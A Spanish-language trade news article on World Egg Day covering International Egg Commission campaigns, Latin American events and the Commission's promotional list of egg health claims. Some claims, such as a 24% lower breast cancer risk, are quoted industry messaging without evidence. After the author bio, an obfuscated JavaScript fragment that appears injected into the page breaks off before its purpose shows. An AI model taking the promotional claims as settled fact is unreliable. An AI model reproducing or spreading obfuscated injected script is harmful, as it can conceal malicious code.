Campaña para el Día Mundial del Huevo (Cortesía de la International Egg Commission)
Además de resaltar los beneficios de esta proteína en las diversas etapas de la vida, varias entidades en Latinoamérica realizan campañas y actividades virtuales para los consumidores.
El huevo posee múltiples beneficios que son visibles en las múltiples etapas de desarrollo del ser humano. Además, por su producción “sustentable” juega un “papel valioso en el apoyo a la creciente población mundial”, según la International Egg Commission (IEG).
Por esto, la entidad invita a celebrar el Día Mundial del Huevo (#WorldEggDay) el próximo viernes, 9 de octubre, una festividad que se realiza el segundo viernes de octubre desde 1996 en distintas partes del mundo para concientizar sobre los beneficios del huevo y su importancia en la nutrición humana.
La IEG insta a los consumidores y a las empresas productoras de huevo, así como a restaurantes y otras industrias involucradas, a celebrar el Día Mundial del Huevo sumándose a las campañas publicitarias de sus países de origen, realizando platos que contengan esta proteína animal y promoviendo reconocimientos de estos eventos de interés.
El ILH también presentará un seminario por el Día Mundial del Huevo el 9 de octubre, que contará con la participación de especialistas de toda Latinoamérica (presione el enlace para conocer los detalles de las conferencias).
En México, el Instituto Nacional Avícola (INA) realiza varias actividades y charlas virtuales, desde el 28 de septiembre hasta el 9 de octubre, que van desde la historia del huevo hasta el huevo en el desayuno y en la cocina mexicana. Estas charlas pueden ser vistas a través de su página de Facebook o por Zoom.
La IEG destacó varias campañas de años anteriores para que sirvan de inspiración a otros países en sus celebraciones. Entre estas, resaltó el récord mundial de Guiness que estableció Fenavi en 2019 con la creación del revoltillo de huevos más grande del mundo, con más de 59,000 huevos.
También se destacó a Filipinas por la celebración del maratón “Eatlog Run” y a Australia por la creación en 2018 de los premios “Eggsellence Awards”.
¿Cuáles son los beneficios del huevo?
Según la IEG, los huevos “ofrecen una fuente saludable y sostenible de nutrientes esenciales necesarios para todas las etapas de la vida”. Entre estos, se encuentran 14 nutrientes esenciales, incluidas las vitaminas A, B y E, así como ácido fólico, hierro y zinc.
Los huevos también proporcionan altas cantidades de colina, un nutriente “fundamental para el desarrollo neurocognitivo y la salud”. Asimismo, poseen vitamina D, “que es clave para fortalecer huesos y dientes sanos”.
De igual forma, la IEG resalta que “los huevos se consideran una fuente de proteínas de bajo impacto ambiental debido a las nuevas eficiencias y los compromisos continuos asumidos tanto en la granja como en la cadena de suministro de huevos. Requieren muy poco uso de agua y la huella general del huevo se ha reducido significativamente en los últimos 50 años”.
Un reciente estudio de la American Egg Board (AEB) recomendó que se introduzca el huevo en las dietas de bebés hasta los 24 meses de edad, pues podrían ser un “primer alimento importante para bebés y niños pequeños” y se reduciría el riesgo a tener una alergia a esta proteína.
Principales mensajes para destacar
La IEG recomienda que se resalten los siguientes mensajes en la celebración del Día Mundial del Huevo, los cuales pueden ser compartidos con la entidad a través de sus redes sociales en Facebook, Twitter e Instagram. Estos mensajes son:
Los huevos son “una de las fuentes de alimentos naturales más densas en nutrientes para la humanidad” y están activamente ayudando a alimentar la creciente población mundial.
Los huevos son “una buena fuente de proteínas, pero también contienen 14 nutrientes esenciales para mantener un estilo de vida saludable”.
Los huevos son “altamente nutricionales y contienen todos los aminoácidos esenciales que el cuerpo necesita para una buena salud en todas las edades”.
Los huevos son una “de las mejores fuentes de colina, un nutriente esencial crítico para el desarrollo del cerebro del feto”.
Los huevos son “una de las pocas comidas que contienen naturalmente vitamina D”.
Los huevos ofrecen “la proteína animal más sustentable gracias a continuos compromisos y mejoras hechas por la industria y han sido identificados como una fuente de proteína con un bajo impacto ambiental”.
Los huevos “pueden reducir los riesgos de una enfermedad del corazón”.
Comer huevos ayuda a “mantener una buena salud ocular”, sobre todo por ser una fuente natural de vitamina A.
Los huevos ayudan en el funcionamiento del hígado y el metabolismo, y se ha encontrado que “reducen el riesgo de cáncer de mama en un 24%.
Los huevos tienen beneficios “en todas las edades” porque son una fuente de energía y proteína saludable.
Cindy Burgos Alvarado es editora asociada de la revista Industria Avícola, así como del sitio web www.industriaavicola.net. Es una periodista puertorriqueña con más de cinco años de experiencia realizando coberturas en temas políticos y económicos.
Posee una licenciatura en Información y Periodismo de la Universidad de Puerto Rico (UPR), con una segunda concentración en Sociología.
Puede contactarla a través de su correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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28 de septiembre de 2020